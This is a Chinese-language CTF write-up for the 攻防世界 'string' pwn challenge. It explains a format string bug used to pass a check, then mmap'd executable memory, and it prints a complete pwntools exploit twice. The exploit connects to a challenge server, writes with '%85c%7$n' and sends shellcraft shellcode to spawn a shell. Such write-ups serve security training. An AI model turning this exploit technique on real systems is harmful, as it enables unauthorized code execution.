[攻防世界 pwn]——string(内涵peak小知识)

[攻防世界 pwn]——string

peak小知识

mmap函数作用,mmap主要是将文件映射到一段内存去同时设置那段内存的属性可读可写或者是可执行详情请看mmap & mprotect

在checksec看到开启了canary和NX,应该和格式化字符串有关。
在这里插入图片描述
在IDA中看看,发现侧边栏竟然有mmap函数,这个地方应该是关键点,

在这里插入图片描述
找到函数位置,想要保证该函数执行,必须保证前两个函数执行完毕,并且a1 == a1[1], 跟前面找会发现a1其实就最开始的v3,而v3 = 68, v3[1] = 85。我们只要修改一个就好。

在这里插入图片描述
在这里插入图片描述

在下面我们发现了有格式化字符串的漏洞可以利用修改
在这里插入图片描述

下面就开始逐步书写exploit

  • 接受v3地址
from pwn import *
p = remote('111.200.241.244',57138)
p.recvuntil("secret[0] is ")
v3_0_addr = int(p.recvuntil("\n")[:-1], 16) 
log.info("v3_0_addr:" + hex(v3_0_addr))
  • 进入sub_4000D72()
p.recvuntil("character's name be:")
p.sendline("peak")
  • 进入sub_400A7D()并退出
p.recvuntil("east or up?:")
p.sendline("east")
  • 进入sub_400BB9()修改*v3并退出
p.recvuntil("there(1), or leave(0)?:")
p.sendline("1")
p.recvuntil("'Give me an address'")
p.sendline(str(v3_0_addr))
p.recvuntil("you wish is:")
p.sendline("%85c%7$n")
  • 进入sub_400CA6()输入shellcode 并执行
context(os='linux',arch='amd64')
shellcode = asm(shellcraft.sh()) 

p.recvuntil("USE YOU SPELL")
p.sendline(shellcode)
p.interactive()

exploit

from pwn import *
p = remote('111.200.241.244',57138)
p.recvuntil("secret[0] is ")
v3_0_addr = int(p.recvuntil("\n")[:-1], 16) 
log.info("v3_0_addr:" + hex(v3_0_addr))
 

p.recvuntil("character's name be:")
p.sendline("peak")

p.recvuntil("east or up?:")
p.sendline("east")
 
p.recvuntil("there(1), or leave(0)?:")
p.sendline("1")
p.recvuntil("'Give me an address'")
p.sendline(str(v3_0_addr))
p.recvuntil("you wish is:")
p.sendline("%85c%7$n")

context(os='linux',arch='amd64')
shellcode = asm(shellcraft.sh()) 

p.recvuntil("USE YOU SPELL")
p.sendline(shellcode)
p.interactive()
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值